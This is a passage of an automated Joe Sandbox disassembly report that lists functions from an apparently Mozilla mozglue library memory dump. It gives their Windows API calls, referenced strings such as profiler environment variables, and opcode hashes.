<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C6A0C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Strings

a.8/, xrefs: 6C6A0CA2

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: a.8/
API String ID: 4069420150-2801666753
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C67D468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

a.8/, xrefs: 6C67D4E2
MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()$a.8/
API String ID: 3805649505-3165717885
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

a.8/, xrefs: 6C6A46EF
-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A
profiler-paused, xrefs: 6C6A46E4

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$a.8/$profiler-paused
API String ID: 3732870572-3604140934
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6A46E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

a.8/, xrefs: 6C6A46EF
-%llu, xrefs: 6C6A4733
., xrefs: 6C6A476A
profiler-paused, xrefs: 6C6A46E4

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$a.8/$profiler-paused
API String ID: 680628322-3604140934
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

a.8/, xrefs: 6C6AB419
pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: a.8/$pid:
API String ID: 1720406129-3842522433
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C696470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Strings

a.8/, xrefs: 6C696482

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: a.8/
API String ID: 3596744550-2801666753
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C69E550 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

a.8/, xrefs: 6C69E2FB, 6C69E399, 6C69E55C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$a.8/
API String ID: 1483687287-4257258228
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

ntdll.dll, xrefs: 6C6B75B3
RtlNtStatusToDosError, xrefs: 6C6B75D1

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

NtUnmapViewOfSection, xrefs: 6C6B7621
ntdll.dll, xrefs: 6C6B7603

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C65CDF0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

a.8/, xrefs: 6C65CE02
0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0$a.8/
API String ID: 438689982-2392223087
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

